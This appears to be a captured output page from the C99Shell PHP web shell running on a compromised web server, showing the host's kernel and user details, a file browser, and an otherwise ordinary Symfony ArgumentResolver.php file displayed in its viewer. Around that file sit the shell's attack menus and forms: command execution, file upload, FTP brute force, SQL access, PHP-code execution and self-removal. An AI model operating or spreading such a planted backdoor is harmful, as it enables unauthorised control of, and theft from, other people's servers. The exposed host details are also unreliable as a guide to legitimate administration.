!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/gateway.picotech.app/public_html/vendor/symfony/http-kernel/Controller/   drwxr-xr-x
Free 28.55 GB of 117.98 GB (24.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ArgumentResolver.php (3.66 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\HttpKernel\Controller;

use 
Symfony\Component\HttpFoundation\Request;
use 
Symfony\Component\HttpKernel\Controller\ArgumentResolver\DefaultValueResolver;
use 
Symfony\Component\HttpKernel\Controller\ArgumentResolver\RequestAttributeValueResolver;
use 
Symfony\Component\HttpKernel\Controller\ArgumentResolver\RequestValueResolver;
use 
Symfony\Component\HttpKernel\Controller\ArgumentResolver\SessionValueResolver;
use 
Symfony\Component\HttpKernel\Controller\ArgumentResolver\VariadicValueResolver;
use 
Symfony\Component\HttpKernel\ControllerMetadata\ArgumentMetadataFactory;
use 
Symfony\Component\HttpKernel\ControllerMetadata\ArgumentMetadataFactoryInterface;

/**
 * Responsible for resolving the arguments passed to an action.
 *
 * @author Iltar van der Berg <kjarli@gmail.com>
 */
final class ArgumentResolver implements ArgumentResolverInterface
{
    private 
$argumentMetadataFactory;
    private 
$argumentValueResolvers;

    
/**
     * @param iterable<mixed, ArgumentValueResolverInterface> $argumentValueResolvers
     */
    
public function __construct(?ArgumentMetadataFactoryInterface $argumentMetadataFactory nulliterable $argumentValueResolvers = [])
    {
        
$this->argumentMetadataFactory $argumentMetadataFactory ?? new ArgumentMetadataFactory();
        
$this->argumentValueResolvers $argumentValueResolvers ?: self::getDefaultArgumentValueResolvers();
    }

    
/**
     * {@inheritdoc}
     */
    
public function getArguments(Request $request, callable $controller): array
    {
        
$arguments = [];

        foreach (
$this->argumentMetadataFactory->createArgumentMetadata($controller) as $metadata) {
            foreach (
$this->argumentValueResolvers as $resolver) {
                if (!
$resolver->supports($request$metadata)) {
                    continue;
                }

                
$resolved $resolver->resolve($request$metadata);

                
$atLeastOne false;
                foreach (
$resolved as $append) {
                    
$atLeastOne true;
                    
$arguments[] = $append;
                }

                if (!
$atLeastOne) {
                    throw new 
\InvalidArgumentException(sprintf('"%s::resolve()" must yield at least one value.'get_debug_type($resolver)));
                }

                
// continue to the next controller argument
                
continue 2;
            }

            
$representative $controller;

            if (
\is_array($representative)) {
                
$representative sprintf('%s::%s()'\get_class($representative[0]), $representative[1]);
            } elseif (
\is_object($representative)) {
                
$representative \get_class($representative);
            }

            throw new 
\RuntimeException(sprintf('Controller "%s" requires that you provide a value for the "$%s" argument. Either the argument is nullable and no null value has been provided, no default value has been provided or because there is a non optional argument after this one.'$representative$metadata->getName()));
        }

        return 
$arguments;
    }

    
/**
     * @return iterable<int, ArgumentValueResolverInterface>
     */
    
public static function getDefaultArgumentValueResolvers(): iterable
    
{
        return [
            new 
RequestAttributeValueResolver(),
            new 
RequestValueResolver(),
            new 
SessionValueResolver(),
            new 
DefaultValueResolver(),
            new 
VariadicValueResolver(),
        ];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0037 ]--